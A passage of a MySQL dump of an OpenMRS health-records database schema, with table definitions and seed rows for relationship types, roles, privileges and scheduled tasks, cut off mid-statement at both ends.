`provider_attribute_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `provider_attribute_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `provider_attribute_provider_fk` FOREIGN KEY (`provider_id`) REFERENCES `provider` (`provider_id`), CONSTRAINT `provider_attribute_voided_by_fk` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `provider_attribute` -- LOCK TABLES `provider_attribute` WRITE; /*!40000 ALTER TABLE `provider_attribute` DISABLE KEYS */; /*!40000 ALTER TABLE `provider_attribute` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `provider_attribute_type` -- DROP TABLE IF EXISTS `provider_attribute_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `provider_attribute_type` ( `provider_attribute_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1024) DEFAULT NULL, `datatype` varchar(255) DEFAULT NULL, `datatype_config` text, `preferred_handler` varchar(255) DEFAULT NULL, `handler_config` text, `min_occurs` int(11) NOT NULL, `max_occurs` int(11) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`provider_attribute_type_id`), UNIQUE KEY `uuid` (`uuid`), KEY `provider_attribute_type_creator_fk` (`creator`), KEY `provider_attribute_type_changed_by_fk` (`changed_by`), KEY `provider_attribute_type_retired_by_fk` (`retired_by`), CONSTRAINT `provider_attribute_type_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `provider_attribute_type_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `provider_attribute_type_retired_by_fk` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `provider_attribute_type` -- LOCK TABLES `provider_attribute_type` WRITE; /*!40000 ALTER TABLE `provider_attribute_type` DISABLE KEYS */; /*!40000 ALTER TABLE `provider_attribute_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `relationship` -- DROP TABLE IF EXISTS `relationship`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `relationship` ( `relationship_id` int(11) NOT NULL AUTO_INCREMENT, `person_a` int(11) NOT NULL, `relationship` int(11) NOT NULL DEFAULT '0', `person_b` int(11) NOT NULL, `start_date` datetime DEFAULT NULL, `end_date` datetime DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `date_changed` datetime DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`relationship_id`), UNIQUE KEY `relationship_uuid_index` (`uuid`), KEY `relation_creator` (`creator`), KEY `person_a_is_person` (`person_a`), KEY `person_b_is_person` (`person_b`), KEY `relationship_type_id` (`relationship`), KEY `relation_voider` (`voided_by`), KEY `relationship_changed_by` (`changed_by`), CONSTRAINT `person_a_is_person` FOREIGN KEY (`person_a`) REFERENCES `person` (`person_id`), CONSTRAINT `person_b_is_person` FOREIGN KEY (`person_b`) REFERENCES `person` (`person_id`), CONSTRAINT `relation_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `relation_voider` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `relationship_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `relationship_type_id` FOREIGN KEY (`relationship`) REFERENCES `relationship_type` (`relationship_type_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `relationship` -- LOCK TABLES `relationship` WRITE; /*!40000 ALTER TABLE `relationship` DISABLE KEYS */; /*!40000 ALTER TABLE `relationship` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `relationship_type` -- DROP TABLE IF EXISTS `relationship_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `relationship_type` ( `relationship_type_id` int(11) NOT NULL AUTO_INCREMENT, `a_is_to_b` varchar(50) NOT NULL, `b_is_to_a` varchar(50) NOT NULL, `preferred` tinyint(1) NOT NULL DEFAULT '0', `weight` int(11) NOT NULL DEFAULT '0', `description` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`relationship_type_id`), UNIQUE KEY `relationship_type_uuid_index` (`uuid`), KEY `user_who_created_rel` (`creator`), KEY `user_who_retired_relationship_type` (`retired_by`), CONSTRAINT `user_who_created_rel` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_relationship_type` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `relationship_type` -- LOCK TABLES `relationship_type` WRITE; /*!40000 ALTER TABLE `relationship_type` DISABLE KEYS */; INSERT INTO `relationship_type` VALUES (1,'Doctor','Patient',0,0,'Relationship from a primary care provider to the patient',1,'2007-05-04 00:00:00',0,NULL,NULL,NULL,'8d919b58-c2cc-11de-8d13-0010c6dffd0f'),(2,'Sibling','Sibling',0,0,'Relationship between brother/sister, brother/brother, and sister/sister',1,'2007-05-04 00:00:00',0,NULL,NULL,NULL,'8d91a01c-c2cc-11de-8d13-0010c6dffd0f'),(3,'Parent','Child',0,0,'Relationship from a mother/father to the child',1,'2007-05-04 00:00:00',0,NULL,NULL,NULL,'8d91a210-c2cc-11de-8d13-0010c6dffd0f'),(4,'Aunt/Uncle','Niece/Nephew',0,0,'Relationship from a parent\'s sibling to a child of that parent',1,'2007-05-04 00:00:00',0,NULL,NULL,NULL,'8d91a3dc-c2cc-11de-8d13-0010c6dffd0f'); /*!40000 ALTER TABLE `relationship_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `report_object` -- DROP TABLE IF EXISTS `report_object`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `report_object` ( `report_object_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1000) DEFAULT NULL, `report_object_type` varchar(255) NOT NULL, `report_object_sub_type` varchar(255) NOT NULL, `xml_data` text, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`report_object_id`), UNIQUE KEY `report_object_uuid_index` (`uuid`), KEY `user_who_changed_report_object` (`changed_by`), KEY `report_object_creator` (`creator`), KEY `user_who_voided_report_object` (`voided_by`), CONSTRAINT `report_object_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_changed_report_object` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_report_object` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `report_object` -- LOCK TABLES `report_object` WRITE; /*!40000 ALTER TABLE `report_object` DISABLE KEYS */; /*!40000 ALTER TABLE `report_object` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `report_schema_xml` -- DROP TABLE IF EXISTS `report_schema_xml`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `report_schema_xml` ( `report_schema_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` text NOT NULL, `xml_data` text NOT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`report_schema_id`), UNIQUE KEY `report_schema_xml_uuid_index` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `report_schema_xml` -- LOCK TABLES `report_schema_xml` WRITE; /*!40000 ALTER TABLE `report_schema_xml` DISABLE KEYS */; /*!40000 ALTER TABLE `report_schema_xml` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `reporting_report_design` -- DROP TABLE IF EXISTS `reporting_report_design`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `reporting_report_design` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(38) NOT NULL, `name` varchar(255) NOT NULL, `description` varchar(1000) DEFAULT NULL, `renderer_type` varchar(255) NOT NULL, `properties` text, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `report_definition_uuid` char(38) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uuid` (`uuid`), KEY `creator for reporting_report_design` (`creator`), KEY `changed_by for reporting_report_design` (`changed_by`), KEY `retired_by for reporting_report_design` (`retired_by`), KEY `report_definition_uuid for reporting_report_design` (`report_definition_uuid`), CONSTRAINT `changed_by for reporting_report_design` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `creator for reporting_report_design` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `retired_by for reporting_report_design` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `reporting_report_design` -- LOCK TABLES `reporting_report_design` WRITE; /*!40000 ALTER TABLE `reporting_report_design` DISABLE KEYS */; /*!40000 ALTER TABLE `reporting_report_design` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `reporting_report_design_resource` -- DROP TABLE IF EXISTS `reporting_report_design_resource`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `reporting_report_design_resource` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(38) NOT NULL, `name` varchar(255) NOT NULL, `description` varchar(1000) DEFAULT NULL, `report_design_id` int(11) NOT NULL DEFAULT '0', `content_type` varchar(50) DEFAULT NULL, `extension` varchar(20) DEFAULT NULL, `contents` longblob, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uuid` (`uuid`), KEY `report_design_id for reporting_report_design_resource` (`report_design_id`), KEY `creator for reporting_report_design_resource` (`creator`), KEY `changed_by for reporting_report_design_resource` (`changed_by`), KEY `retired_by for reporting_report_design_resource` (`retired_by`), CONSTRAINT `changed_by for reporting_report_design_resource` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `creator for reporting_report_design_resource` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `report_design_id for reporting_report_design_resource` FOREIGN KEY (`report_design_id`) REFERENCES `reporting_report_design` (`id`), CONSTRAINT `retired_by for reporting_report_design_resource` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `reporting_report_design_resource` -- LOCK TABLES `reporting_report_design_resource` WRITE; /*!40000 ALTER TABLE `reporting_report_design_resource` DISABLE KEYS */; /*!40000 ALTER TABLE `reporting_report_design_resource` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `reporting_report_processor` -- DROP TABLE IF EXISTS `reporting_report_processor`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `reporting_report_processor` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(38) NOT NULL, `name` varchar(255) NOT NULL, `description` varchar(1000) DEFAULT NULL, `processor_type` varchar(255) NOT NULL, `configuration` mediumtext, `run_on_success` tinyint(1) NOT NULL DEFAULT '1', `run_on_error` tinyint(1) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `report_design_id` int(11) DEFAULT NULL, `processor_mode` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uuid` (`uuid`), KEY `creator for reporting_report_processor` (`creator`), KEY `changed_by for reporting_report_processor` (`changed_by`), KEY `retired_by for reporting_report_processor` (`retired_by`), KEY `reporting_report_processor_report_design` (`report_design_id`), CONSTRAINT `changed_by for reporting_report_processor` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `creator for reporting_report_processor` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `reporting_report_processor_report_design` FOREIGN KEY (`report_design_id`) REFERENCES `reporting_report_design` (`id`), CONSTRAINT `retired_by for reporting_report_processor` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `reporting_report_processor` -- LOCK TABLES `reporting_report_processor` WRITE; /*!40000 ALTER TABLE `reporting_report_processor` DISABLE KEYS */; /*!40000 ALTER TABLE `reporting_report_processor` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `reporting_report_request` -- DROP TABLE IF EXISTS `reporting_report_request`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `reporting_report_request` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(38) NOT NULL, `base_cohort_uuid` char(38) DEFAULT NULL, `base_cohort_parameters` text, `report_definition_uuid` char(38) NOT NULL, `report_definition_parameters` text, `renderer_type` varchar(255) NOT NULL, `renderer_argument` varchar(255) DEFAULT NULL, `requested_by` int(11) NOT NULL DEFAULT '0', `request_datetime` datetime NOT NULL, `priority` varchar(255) NOT NULL, `status` varchar(255) NOT NULL, `evaluation_start_datetime` datetime DEFAULT NULL, `evaluation_complete_datetime` datetime DEFAULT NULL, `render_complete_datetime` datetime DEFAULT NULL, `description` varchar(1000) DEFAULT NULL, `schedule` varchar(100) DEFAULT NULL, `process_automatically` tinyint(1) NOT NULL DEFAULT '0', `minimum_days_to_preserve` int(11) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uuid` (`uuid`), KEY `requested_by for reporting_report_request` (`requested_by`), CONSTRAINT `requested_by for reporting_report_request` FOREIGN KEY (`requested_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `reporting_report_request` -- LOCK TABLES `reporting_report_request` WRITE; /*!40000 ALTER TABLE `reporting_report_request` DISABLE KEYS */; /*!40000 ALTER TABLE `reporting_report_request` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `role` -- DROP TABLE IF EXISTS `role`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `role` ( `role` varchar(50) NOT NULL DEFAULT '', `description` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`role`), UNIQUE KEY `role_uuid_index` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `role` -- LOCK TABLES `role` WRITE; /*!40000 ALTER TABLE `role` DISABLE KEYS */; INSERT INTO `role` VALUES ('Anonymous','Privileges for non-authenticated users.','774b2af3-6437-4e5a-a310-547554c7c65c'),('Authenticated','Privileges gained once authentication has been established.','f7fd42ef-880e-40c5-972d-e4ae7c990de2'),('Provider','All users with the \'Provider\' role will appear as options in the default Infopath ','8d94f280-c2cc-11de-8d13-0010c6dffd0f'),('System Developer','Developers of the OpenMRS .. have additional access to change fundamental structure of the database model.','8d94f852-c2cc-11de-8d13-0010c6dffd0f'); /*!40000 ALTER TABLE `role` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `role_privilege` -- DROP TABLE IF EXISTS `role_privilege`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `role_privilege` ( `role` varchar(50) NOT NULL DEFAULT '', `privilege` varchar(255) NOT NULL, PRIMARY KEY (`privilege`,`role`), KEY `role_privilege_to_role` (`role`), CONSTRAINT `privilege_definitions` FOREIGN KEY (`privilege`) REFERENCES `privilege` (`privilege`), CONSTRAINT `role_privilege_to_role` FOREIGN KEY (`role`) REFERENCES `role` (`role`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `role_privilege` -- LOCK TABLES `role_privilege` WRITE; /*!40000 ALTER TABLE `role_privilege` DISABLE KEYS */; INSERT INTO `role_privilege` VALUES ('Authenticated','Get Concept Classes'),('Authenticated','Get Concept Datatypes'),('Authenticated','Get Encounter Types'),('Authenticated','Get Field Types'),('Authenticated','Get Global Properties'),('Authenticated','Get Identifier Types'),('Authenticated','Get Locations'),('Authenticated','Get Order Types'),('Authenticated','Get Person Attribute Types'),('Authenticated','Get Privileges'),('Authenticated','Get Relationship Types'),('Authenticated','Get Relationships'),('Authenticated','Get Roles'),('Authenticated','Patient Overview - View Relationships'),('Authenticated','View Concept Classes'),('Authenticated','View Concept Datatypes'),('Authenticated','View Encounter Types'),('Authenticated','View Field Types'),('Authenticated','View Global Properties'),('Authenticated','View Identifier Types'),('Authenticated','View Locations'),('Authenticated','View Order Types'),('Authenticated','View Person Attribute Types'),('Authenticated','View Privileges'),('Authenticated','View Relationship Types'),('Authenticated','View Relationships'),('Authenticated','View Roles'); /*!40000 ALTER TABLE `role_privilege` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `role_role` -- DROP TABLE IF EXISTS `role_role`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `role_role` ( `parent_role` varchar(50) NOT NULL DEFAULT '', `child_role` varchar(50) NOT NULL DEFAULT '', PRIMARY KEY (`parent_role`,`child_role`), KEY `inherited_role` (`child_role`), CONSTRAINT `inherited_role` FOREIGN KEY (`child_role`) REFERENCES `role` (`role`), CONSTRAINT `parent_role` FOREIGN KEY (`parent_role`) REFERENCES `role` (`role`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `role_role` -- LOCK TABLES `role_role` WRITE; /*!40000 ALTER TABLE `role_role` DISABLE KEYS */; /*!40000 ALTER TABLE `role_role` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduler_task_config` -- DROP TABLE IF EXISTS `scheduler_task_config`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduler_task_config` ( `task_config_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1024) DEFAULT NULL, `schedulable_class` text, `start_time` datetime DEFAULT NULL, `start_time_pattern` varchar(50) DEFAULT NULL, `repeat_interval` int(11) NOT NULL DEFAULT '0', `start_on_startup` tinyint(1) NOT NULL DEFAULT '0', `started` tinyint(1) NOT NULL DEFAULT '0', `created_by` int(11) DEFAULT '0', `date_created` datetime DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `last_execution_time` datetime DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`task_config_id`), UNIQUE KEY `scheduler_task_config_uuid_index` (`uuid`), KEY `scheduler_changer` (`changed_by`), KEY `scheduler_creator` (`created_by`), CONSTRAINT `scheduler_changer` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduler_creator` FOREIGN KEY (`created_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduler_task_config` -- LOCK TABLES `scheduler_task_config` WRITE; /*!40000 ALTER TABLE `scheduler_task_config` DISABLE KEYS */; INSERT INTO `scheduler_task_config` VALUES (2,'Auto Close Visits Task','Stops all active visits that match the visit type(s) specified by the value of the global property \'visits.autoCloseVisitType\'','org.openmrs.scheduler.tasks.AutoCloseVisitsTask','2011-11-28 23:59:59','MM/dd/yyyy HH:mm:ss',86400,0,0,1,'2016-10-27 07:12:01',NULL,NULL,NULL,'8c17b376-1a2b-11e1-a51a-00248140a5eb'),(3,'OpenMRS event publisher task',NULL,'org.openmrs.module.atomfeed.scheduler.tasks.EventPublisherTask','2016-10-27 07:12:54','MM/dd/yyyy HH:mm:ss',2,1,1,1,'2016-10-27 07:12:54',2,'2016-10-27 07:15:58','2016-10-27 07:15:58','c7df6adf-9c14-11e6-aeb3-0242ac110009'),(4,'Cleanup Old Sync Records','This task deletes old rows in the sync_record and sync_server_record tables. The default settings work on all servers, but for advanced users, you can change the properties to suit your needs.','org.openmrs.module.sync.scheduler.CleanupSyncTablesTask','2009-12-18 17:26:31','MM/dd/yyyy HH:mm:ss',604800,1,1,1,'2009-12-18 17:28:39',2,'2016-10-27 07:13:26',NULL,'d3122955-00d7-454c-b17f-e3f87206c74b'); /*!40000 ALTER TABLE `scheduler_task_config` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduler_task_config_property` -- DROP TABLE IF EXISTS `scheduler_task_config_property`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduler_task_config_property` ( `task_config_property_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `value` text, `task_config_id` int(11) DEFAULT NULL, PRIMARY KEY (`task_config_property_id`), KEY `task_config_for_property` (`task_config_id`), CONSTRAINT `task_config_for_property` FOREIGN KEY (`task_config_id`) REFERENCES `scheduler_task_config` (`task_config_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduler_task_config_property` -- LOCK TABLES `scheduler_task_config_property` WRITE; /*!40000 ALTER TABLE `scheduler_task_config_property` DISABLE KEYS */; INSERT INTO `scheduler_task_config_property` VALUES (1,'delete_entries_files_older_than_x_days','90',4),(2,'sync_record_states_to_delete','',4); /*!40000 ALTER TABLE `scheduler_task_config_property` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduletracker_dependency` -- DROP TABLE IF EXISTS `scheduletracker_dependency`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduletracker_dependency` ( `dependency_id` int(11) NOT NULL AUTO_INCREMENT, `complex_rule` varchar(255) DEFAULT NULL, `dependency_key` varchar(255) DEFAULT NULL, `dependency_value` varchar(255) DEFAULT NULL, `dependency_type` int(11) NOT NULL, `schedule` int(11) NOT NULL, `description` varchar(255) DEFAULT NULL, `uuid` varchar(255) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(4) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`dependency_id`), KEY `scheduletracker_dependency_dependency_type` (`dependency_type`), KEY `scheduletracker_dependency_schedule` (`schedule`), KEY `scheduletracker_dependency_changed_by` (`changed_by`), KEY `scheduletracker_dependency_voided_by` (`voided_by`), KEY `scheduletracker_dependency_creator` (`creator`), CONSTRAINT `scheduletracker_dependency_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_dependency_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_dependency_dependency_type` FOREIGN KEY (`dependency_type`) REFERENCES `scheduletracker_dependency_type` (`dependency_type_id`), CONSTRAINT `scheduletracker_dependency_schedule` FOREIGN KEY (`schedule`) REFERENCES `scheduletracker_schedule` (`schedule_id`), CONSTRAINT `scheduletracker_dependency_voided_by` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduletracker_dependency` -- LOCK TABLES `scheduletracker_dependency` WRITE; /*!40000 ALTER TABLE `scheduletracker_dependency` DISABLE KEYS */; /*!40000 ALTER TABLE `scheduletracker_dependency` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduletracker_dependency_type` -- DROP TABLE IF EXISTS `scheduletracker_dependency_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduletracker_dependency_type` ( `dependency_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(255) DEFAULT NULL, `uuid` varchar(255) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(4) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`dependency_type_id`), KEY `scheduletracker_dependency_type_voided_by` (`voided_by`), KEY `scheduletracker_dependency_type_changed_by` (`changed_by`), KEY `scheduletracker_dependency_type_creator` (`creator`), CONSTRAINT `scheduletracker_dependency_type_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_dependency_type_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_dependency_type_voided_by` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduletracker_dependency_type` -- LOCK TABLES `scheduletracker_dependency_type` WRITE; /*!40000 ALTER TABLE `scheduletracker_dependency_type` DISABLE KEYS */; INSERT INTO `scheduletracker_dependency_type` VALUES (1,'Schedule','Dependency where one schedule is dependent on another schedule','d6488000-9c14-11e6-aeb3-0242ac110009',2,'2016-10-27 07:13:18',NULL,NULL,0,NULL,NULL,NULL),(2,'Encounter','Dependency where one schedule is dependent on a particular encounter type','d6488771-9c14-11e6-aeb3-0242ac110009',2,'2016-10-27 07:13:18',NULL,NULL,0,NULL,NULL,NULL),(3,'Obs','Dependency where one schedule is dependent on a specific observation value','d6488b42-9c14-11e6-aeb3-0242ac110009',2,'2016-10-27 07:13:18',NULL,NULL,0,NULL,NULL,NULL),(4,'Person Attribute','Dependency where one schedule is dependent on a specific person attribute value','d6488e3b-9c14-11e6-aeb3-0242ac110009',2,'2016-10-27 07:13:18',NULL,NULL,0,NULL,NULL,NULL); /*!40000 ALTER TABLE `scheduletracker_dependency_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduletracker_milestone` -- DROP TABLE IF EXISTS `scheduletracker_milestone`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduletracker_milestone` ( `milestone_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `early` varchar(255) DEFAULT NULL, `early_alert_offset` varchar(255) DEFAULT NULL, `early_alert_interval` varchar(255) DEFAULT NULL, `early_alert_count` int(11) DEFAULT NULL, `due` varchar(255) DEFAULT NULL, `due_alert_offset` varchar(255) DEFAULT NULL, `due_alert_interval` varchar(255) DEFAULT 